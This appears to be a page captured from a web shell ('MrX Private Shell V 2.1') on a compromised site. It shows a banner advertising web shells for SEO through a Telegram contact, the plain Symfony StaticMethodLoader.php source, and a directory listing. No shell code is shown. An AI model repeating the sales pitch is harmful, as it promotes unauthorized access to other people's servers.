__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <[email protected]> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Validator\Mapping\Loader; use Symfony\Component\Validator\Exception\MappingException; use Symfony\Component\Validator\Mapping\ClassMetadata; /** * Loads validation metadata by calling a static method on the loaded class. * * @author Bernhard Schussek <[email protected]> */ class StaticMethodLoader implements LoaderInterface { protected $methodName; /** * Creates a new loader. * * @param string $methodName The name of the static method to call */ public function __construct(string $methodName = 'loadValidatorMetadata') { $this->methodName = $methodName; } public function loadClassMetadata(ClassMetadata $metadata): bool { /** @var \ReflectionClass $reflClass */ $reflClass = $metadata->getReflectionClass(); if (!$reflClass->isInterface() && $reflClass->hasMethod($this->methodName)) { $reflMethod = $reflClass->getMethod($this->methodName); if ($reflMethod->isAbstract()) { return false; } if (!$reflMethod->isStatic()) { throw new MappingException(sprintf('The method "%s::%s()" should be static.', $reflClass->name, $this->methodName)); } if ($reflMethod->getDeclaringClass()->name != $reflClass->name) { return false; } $reflMethod->invoke(null, $metadata); return true; } return false; } }
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| schema | Folder | 0775 |
|
|
| AbstractLoader.php | File | 3.59 KB | 0664 |
|
| AnnotationLoader.php | File | 6.25 KB | 0664 |
|
| AttributeLoader.php | File | 639 B | 0664 |
|
| AutoMappingTrait.php | File | 1.02 KB | 0664 |
|
| FileLoader.php | File | 1.29 KB | 0664 |
|
| FilesLoader.php | File | 1.27 KB | 0664 |
|
| LoaderChain.php | File | 1.65 KB | 0664 |
|
| LoaderInterface.php | File | 666 B | 0664 |
|
| PropertyInfoLoader.php | File | 6.85 KB | 0664 |
|
| StaticMethodLoader.php | File | 1.7 KB | 0664 |
|
| XmlFileLoader.php | File | 6.93 KB | 0664 |
|
| XmlFilesLoader.php | File | 657 B | 0664 |
|
| YamlFileLoader.php | File | 5.85 KB | 0664 |
|
| YamlFilesLoader.php | File | 660 B | 0664 |
|